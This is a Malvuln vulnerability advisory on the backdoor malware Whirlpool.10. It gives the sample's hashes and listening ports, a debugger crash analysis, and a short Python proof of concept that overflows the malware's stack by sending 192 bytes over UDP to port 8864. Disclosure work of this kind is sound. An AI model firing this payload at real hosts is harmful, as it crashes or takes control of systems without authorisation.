Backdoor.Win32.Whirlpool.10 Remote Stack Buffer Overflow

Backdoor.Win32.Whirlpool.10 malware suffers from a remote stack buffer overflow vulnerability.


MD5 | c3d3b273680f8c02a4ca076c42f19836

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/bf0682b674ef23cf8ba0deeaf546f422.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Whirlpool.10
Vulnerability: Remote Stack Buffer Overflow
Description: Whirlpool listens on UDP Datagram ports 8848 and 8864. Sending a 192 byte payload to port 8864 triggers a stack buffer overflow overwriting both EIP and SEH. This can allow third party attackers to compromise the backdoor malware.
Type: PE32
MD5: bf0682b674ef23cf8ba0deeaf546f422
Vuln ID: MVID-2021-0038
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/19/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 773E9D70 ntdll.773E9D70
EBP : 000A1430
ESP : 000A1410
ESI : 00000000
EDI : 00000000
EIP : 41414141

(898.1514): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1410 ebp=000a1430 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???


0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe

FAULTING_IP:
Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+4426
00404426 8b4af8 mov ecx,dword ptr [edx-8]

EXCEPTION_RECORD: 0019f7a0 -- (.exr 0x19f7a0)
ExceptionAddress: 00404426 (Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+0x00004426)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414139
Attempt to read from address 41414139

PROCESS_NAME: Backdoor.Win32.Whirlpool.10.bf0682b674ef23cf8ba0deeaf546f422.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
user32!_InternalCallWinProc+0
764ee090 55 push ebp

FAILED_INSTRUCTION_ADDRESS:
+0
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0019f7f0 -- (.cxr 0x19f7f0)
eax=0019fce4 ebx=0019fce4 ecx=0019fcf0 edx=41414141 esi=00000002 edi=02560bf9
eip=00404426 esp=0019fc50 ebp=0019fcf0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Whirlpool_10_bf0682b674ef23cf8ba0deeaf546f422+0x4426:
00404426 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 41414141 to 00404426

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

FRAME_ONE_INVALID: 1

STACK_TEXT:
0019fc50 00404426 backdoor_win32_whirlpool_10+0x4426
0019fcf8 41414141 unknown!printable+0x0
0019fd50 004644a9 backdoor_win32_whirlpool_10+0x644a9
0019fd6c 764ee0bb user32!_InternalCallWinProc+0x2b
0019fd98 764f8849 user32!InternalCallWinProc+0x20
0019fdbc 764fb145 user32!UserCallWinProcCheckWow+0x1be
0019fe8c 764e90dc user32!DispatchMessageWorker+0x4ac
0019fef8 764e38c0 user32!DispatchMessageA+0x10
0019ff00 0046210c backdoor_win32_whirlpool_10+0x6210c
0019ff6c 00495f56 backdoor_win32_whirlpool_10+0x95f56
0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: .cxr 000000000019F7F0 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc50 ; kb

SYMBOL_NAME: user32!_InternalCallWinProc+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: user32

IMAGE_NAME: user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!_InternalCallWinProc

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!_InternalCallWinProc+0


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8864

def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))

PACKET="A"*192

s.send(PACKET)
s.close()

print("Backdoor.Win32.Whirlpool.10.b / Remote Buffer Overflow")
print("MD5: bf0682b674ef23cf8ba0deeaf546f422")
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts